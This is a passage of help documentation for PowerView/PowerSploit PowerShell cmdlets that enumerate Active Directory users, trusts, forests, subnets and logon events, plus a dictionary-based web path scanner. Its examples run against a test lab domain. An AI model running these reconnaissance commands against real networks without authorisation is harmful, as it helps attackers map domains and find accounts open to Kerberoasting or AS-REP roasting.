### ————————– EXAMPLE 3 ————————–
`
Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
`

Returns all subnets with linked to the specified group policy object.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainSubnet -Credential $Cred

## PARAMETERS

### -Identity
An subnet name (e.g.
‘192.168.50.0/24’), DistinguishedName (e.g.
‘CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local’),
or GUID (e.g.
c37726ef-2b64-4524-b85b-6a9700c234dd).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -SiteName
Only return subnets from the specified SiteName.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Raw
Switch.
Return raw results instead of translating the fields into a custom PSObject.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.Subnet

Custom PSObject with translated subnet property fields.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainTrust

## SYNOPSIS
{{Fill in the Synopsis}}

## SYNTAX

### NET (Default)
`
Get-DomainTrust [[-Domain] <String>] [-FindOne]
`

### API
`
Get-DomainTrust [[-Domain] <String>] [-API] [-Server <String>] [-FindOne]
`

### LDAP
```
Get-DomainTrust [[-Domain] <String>] [-LDAP] [-LDAPFilter <String>] [-Properties <String[]>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-FindOne] [-Credential <PSCredential>]




```

## DESCRIPTION
{{Fill in the Description}}

## EXAMPLES

### Example 1
`
PS C:\> {{ Add example code here }}
`

{{ Add example description here }}

## PARAMETERS

### -API
{{Fill API Description}}

```yaml
Type: SwitchParameter
Parameter Sets: API
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
{{Fill Credential Description}}

```yaml
Type: PSCredential
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
{{Fill Domain Description}}

```yaml
Type: String
Parameter Sets: (All)
Aliases: Name

Required: False
Position: 0
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -FindOne
{{Fill FindOne Description}}

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAP
{{Fill LDAP Description}}

```yaml
Type: SwitchParameter
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
{{Fill LDAPFilter Description}}

```yaml
Type: String
Parameter Sets: LDAP
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
{{Fill Properties Description}}

```yaml
Type: String[]
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
{{Fill ResultPageSize Description}}

```yaml
Type: Int32
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
{{Fill SearchBase Description}}

```yaml
Type: String
Parameter Sets: LDAP
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
{{Fill SearchScope Description}}

```yaml
Type: String
Parameter Sets: LDAP
Aliases:
Accepted values: Base, OneLevel, Subtree

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
{{Fill Server Description}}

```yaml
Type: String
Parameter Sets: API, LDAP
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
{{Fill ServerTimeLimit Description}}

```yaml
Type: Int32
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
{{Fill Tombstone Description}}

```yaml
Type: SwitchParameter
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### System.String

## OUTPUTS

### PowerView.DomainTrust.NET
PowerView.DomainTrust.LDAP
PowerView.DomainTrust.API

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainTrustMapping

## SYNOPSIS
{{Fill in the Synopsis}}

## SYNTAX

### NET (Default)
`
Get-DomainTrustMapping
`

### API
`
Get-DomainTrustMapping [-API] [-Server <String>]
`

### LDAP
```
Get-DomainTrustMapping [-LDAP] [-LDAPFilter <String>] [-Properties <String[]>] [-SearchBase <String>]


[-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone]
[-Credential <PSCredential>]




```

## DESCRIPTION
{{Fill in the Description}}

## EXAMPLES

### Example 1
`
PS C:\> {{ Add example code here }}
`

{{ Add example description here }}

## PARAMETERS

### -API
{{Fill API Description}}

```yaml
Type: SwitchParameter
Parameter Sets: API
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
{{Fill Credential Description}}

```yaml
Type: PSCredential
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAP
{{Fill LDAP Description}}

```yaml
Type: SwitchParameter
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
{{Fill LDAPFilter Description}}

```yaml
Type: String
Parameter Sets: LDAP
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
{{Fill Properties Description}}

```yaml
Type: String[]
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
{{Fill ResultPageSize Description}}

```yaml
Type: Int32
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
{{Fill SearchBase Description}}

```yaml
Type: String
Parameter Sets: LDAP
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
{{Fill SearchScope Description}}

```yaml
Type: String
Parameter Sets: LDAP
Aliases:
Accepted values: Base, OneLevel, Subtree

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
{{Fill Server Description}}

```yaml
Type: String
Parameter Sets: API, LDAP
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
{{Fill ServerTimeLimit Description}}

```yaml
Type: Int32
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
{{Fill Tombstone Description}}

```yaml
Type: SwitchParameter
Parameter Sets: LDAP
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### None

## OUTPUTS

### PowerView.DomainTrust.NET
PowerView.DomainTrust.LDAP
PowerView.DomainTrust.API

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainUser

## SYNOPSIS
Return all users or specific user objects in AD.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty

## SYNTAX

### AllowDelegation (Default)
```
Get-DomainUser [[-Identity] <String[]>] [-SPN] [-AdminCount] [-AllowDelegation] [-KerberosPreuthNotRequired]


[-Domain <String>] [-LDAPFilter <String>] [-Properties <String[]>] [-SearchBase <String>] [-Server <String>]
[-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>]
[-Tombstone] [-FindOne] [-Credential <PSCredential>] [-Raw]




```

### DisallowDelegation
```
Get-DomainUser [[-Identity] <String[]>] [-SPN] [-AdminCount] [-DisallowDelegation] [-KerberosPreuthNotRequired]


[-Domain <String>] [-LDAPFilter <String>] [-Properties <String[]>] [-SearchBase <String>] [-Server <String>]
[-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>]
[-Tombstone] [-FindOne] [-Credential <PSCredential>] [-Raw]




```

## DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria.
To only return specific properies, use
“-Properties samaccountname,usnchanged,…”.
By default, all user objects for
the current domain are returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainUser -Domain testlab.local
`

Return all users for the testlab.local domain

### ————————– EXAMPLE 2 ————————–
`
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
`

Return the user with the given SID, as well as Administrator.

### ————————– EXAMPLE 3 ————————–
`
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
`

lastlogoff                                   samaccountname
———-                                   ————–
12/31/1600 4:00:00 PM                        dfm.a
12/31/1600 4:00:00 PM                        dfm
12/31/1600 4:00:00 PM                        harmj0y
12/31/1600 4:00:00 PM                        Administrator

### ————————– EXAMPLE 4 ————————–
`
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
`

Search the specified OU for privileged user (AdminCount = 1) that allow delegation

### ————————– EXAMPLE 5 ————————–
`
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
`

Search for users with a primary group ID other than 513 (‘domain users’) and only return samaccountname and lastlogon

### ————————– EXAMPLE 6 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainUser -Credential $Cred

### ————————– EXAMPLE 7 ————————–
`
Get-Domain | Select-Object -Expand name
`

testlab.local

Get-DomainUser devuser1 -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))


distinguishedname

CN=user1,CN=Users,DC=dev,DC=testlab,DC=local

## PARAMETERS

### -Identity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
Also accepts DOMAINuser format.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -SPN
Switch.
Only return user objects with non-null service principal names.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -AdminCount
Switch.
Return users with ‘(adminCount=1)’ (meaning are/were privileged).

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -AllowDelegation
Switch.
Return user accounts that are not marked as ‘sensitive and not allowed for delegation’

```yaml
Type: SwitchParameter
Parameter Sets: AllowDelegation
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -DisallowDelegation
Switch.
Return user accounts that are marked as ‘sensitive and not allowed for delegation’

```yaml
Type: SwitchParameter
Parameter Sets: DisallowDelegation
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -KerberosPreuthNotRequired
Switch.
Return user accounts with “Do not require Kerberos preauthentication” set.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Raw
Switch.
Return raw results instead of translating the fields into a custom PSObject.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### String

## OUTPUTS

### PowerView.User

Custom PSObject with translated user property fields.

PowerView.User.Raw

The raw DirectoryServices.SearchResult object, if -Raw is enabled.

## NOTES

## RELATED LINKS




            

          

      

      

    

  

    
      
          
            
  # Get-DomainUserEvent

## SYNOPSIS
Enumerate account logon events (ID 4624) and Logon with explicit credential
events (ID 4648) from the specified host (default of the localhost).

Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

```
Get-DomainUserEvent [[-ComputerName] <String[]>] [-StartTime <DateTime>] [-EndTime <DateTime>]


[-MaxEvents <Int32>] [-Credential <PSCredential>]




```

## DESCRIPTION
This function uses an XML path filter passed to Get-WinEvent to retrieve
security events with IDs of 4624 (logon events) or 4648 (explicit credential
logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
A maximum of -MaxEvents (default of 5000) are returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainUserEvent
`

Return logon events on the local machine.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
`

Return all logon events from the last 3 days from every domain controller in the current domain.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000

Return a max of 1000 logon events from the specified machine using the specified alternate credentials.

## PARAMETERS

### -ComputerName
Specifies the computer name to retrieve events from, default of localhost.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: dnshostname, HostName, name

Required: False
Position: 1
Default value: $Env:COMPUTERNAME
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).

```yaml
Type: DateTime
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [DateTime]::Now.AddDays(-1)
Accept pipeline input: False
Accept wildcard characters: False
```

### -EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.

```yaml
Type: DateTime
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [DateTime]::Now
Accept pipeline input: False
Accept wildcard characters: False
```

### -MaxEvents
The maximum number of events to retrieve.
Default of 5000.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 5000
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.LogonEvent

PowerView.ExplicitCredentialLogonEvent

## NOTES

## RELATED LINKS

[http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/](http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/)



            

          

      

      

    

  

    
      
          
            
  # Get-Forest

## SYNOPSIS
Returns the forest object for the current (or specified) forest.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertTo-SID

## SYNTAX

`
Get-Forest [[-Forest] <String>] [-Credential <PSCredential>]
`

## DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
forest or the forest specified with -Forest X.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-Forest -Forest external.domain
`

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-Forest -Credential $Cred

## PARAMETERS

### -Forest
The forest name to query for, defaults to the current forest.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### System.Management.Automation.PSCustomObject

Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
to the forest root domain SID.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ForestDomain

## SYNOPSIS
Return all domains for the current (or specified) forest.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest

## SYNTAX

`
Get-ForestDomain [[-Forest] <String>] [-Credential <PSCredential>]
`

## DESCRIPTION
Returns all domains for the current forest or the forest specified
by -Forest X.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ForestDomain
`

### ————————– EXAMPLE 2 ————————–
`
Get-ForestDomain -Forest external.local
`

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-ForestDomain -Credential $Cred

## PARAMETERS

### -Forest
Specifies the forest name to query for domains.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### System.DirectoryServices.ActiveDirectory.Domain

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ForestGlobalCatalog

## SYNOPSIS
Return all global catalogs for the current (or specified) forest.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest

## SYNTAX

`
Get-ForestGlobalCatalog [[-Forest] <String>] [-Credential <PSCredential>]
`

## DESCRIPTION
Returns all global catalogs for the current forest or the forest specified
by -Forest X by using Get-Forest to retrieve the specified forest object
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ForestGlobalCatalog
`

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-ForestGlobalCatalog -Credential $Cred

## PARAMETERS

### -Forest
Specifies the forest name to query for global catalogs.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### System.DirectoryServices.ActiveDirectory.GlobalCatalog

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ForestTrust

## SYNOPSIS
Return all forest trusts for the current forest or a specified forest.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest

## SYNTAX

`
Get-ForestTrust [[-Forest] <String>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function will enumerate domain trust relationships for the current (or a remote)
forest using number of method using the .NET method GetAllTrustRelationships() on a
System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ForestTrust
`

Return current forest trusts.

### ————————– EXAMPLE 2 ————————–
`
Get-ForestTrust -Forest "external.local"
`

Return trusts for the “external.local” forest.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-ForestTrust -Forest “external.local” -Credential $Cred

Return trusts for the “external.local” forest using the specified alternate credenitals.

## PARAMETERS

### -Forest
Specifies the forest to query for trusts, defaults to the current forest.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.DomainTrust.NET

A TrustRelationshipInformationCollection returned when using .NET methods (default).

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-HttpStatus

## SYNOPSIS
Returns the HTTP Status Codes and full URL for specified paths.

PowerSploit Function: Get-HttpStatus
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Get-HttpStatus [-Target] <String> [[-Path] <String>] [[-Port] <Int32>] [-UseSSL]
`

## DESCRIPTION
A script to check for the existence of a path or file on a webserver.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*}
`

### ————————– EXAMPLE 2 ————————–
`
Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL
`

## PARAMETERS

### -Target
Specifies the remote web host either by IP or hostname.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Path
Specifies the remost host.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: .Dictionariesadmin.txt
Accept pipeline input: False
Accept wildcard characters: False
```

### -Port
Specifies the port to connect to.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: 3
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -UseSSL
Use an SSL connection.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error

## RELATED LINKS

[http://obscuresecurity.blogspot.com
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html]()



            

          

      

      

    

  

    
      
          
            
  # Get-NetComputerSiteName

## SYNOPSIS
Returns the AD site where the local (or a remote) machine resides.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
